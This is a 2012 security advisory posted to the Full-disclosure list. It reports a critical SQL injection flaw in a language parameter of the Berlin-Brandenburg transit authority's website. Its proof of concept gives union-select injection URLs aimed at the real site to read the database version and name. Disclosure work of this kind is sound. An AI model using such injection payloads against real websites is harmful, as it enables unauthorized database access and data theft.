[Full-disclosure] Verkehrsbetriebe Berlin - SQL Injection Vulnerability

["research@xxxxxxxxxxxxxxxxxxxxx" <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Verkehrsbetriebe Berlin - SQL Injection Vulnerability


Date:
=====
2012-01-25


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=138


VL-ID:
=====
138


Introduction:
=============
VBB Verkehrsverbund Berlin-Brandenburg GmbH
Der VBB koordiniert die Interessen der verschiedenen Partner und gestaltet die 
Entwicklung eines 
leistungsstarken integrierten Nahverkehrssystems in Berlin.

(Copy of the Vendors Homepage: http://www.vbbonline.de/)


Abstract:
=========
An anonymous researcher discovered a critical SQL Injection Vulnerability on 
Berlins VBB Verkehrsbetriebe.


Report-Timeline:
================
2011-02-09:     Vendor Notification 1
2011-03-06:     Vendor Notification 2
2011-04-13:     Vendor Notification 3
2012-01-25:     Vendor Response/Feedback
2012-01-25:     Vendor Fix/Patch
2012-01-25:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================

Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A critical SQL Injection Vulnerability is detected on VBBs Verkehrsverbund 
Berlin-Brandenburg GmbH Website.
The vulnerability allows remote attackers to inject own sql statements on the 
affected application/dbms.
The successfull exploitation can result in website defacements, data lost, 
manipulation of content & module destruction.

Vulnerable Modules:
                                          [+] Language ID

Pictures:
                                          ../sql1.png
                                          ../sql2.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without user inter 
action. For demonstration or reproduce ...

File:           index.php
Para:           ?cat=2&sCat=392&id_language=

References:
http://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1 union select 
1,2,3,4,5,version()/*
http://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1%20union%20select%201,2,3,4,5,database%28%29/*


Reference(s):
http://www.vbbonline.de/intern/static/index.php


Risk:
=====
The security risk of the sql injection vulnerability is estimated as critical.


Credits:
========
Vulnerability Research Laboratory  -  Benjamin Kunz Mejri &   Pim J.F.P. Campers


Disclaimer:
===========
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                                                Copyright © 
2012|Vulnerability-Lab




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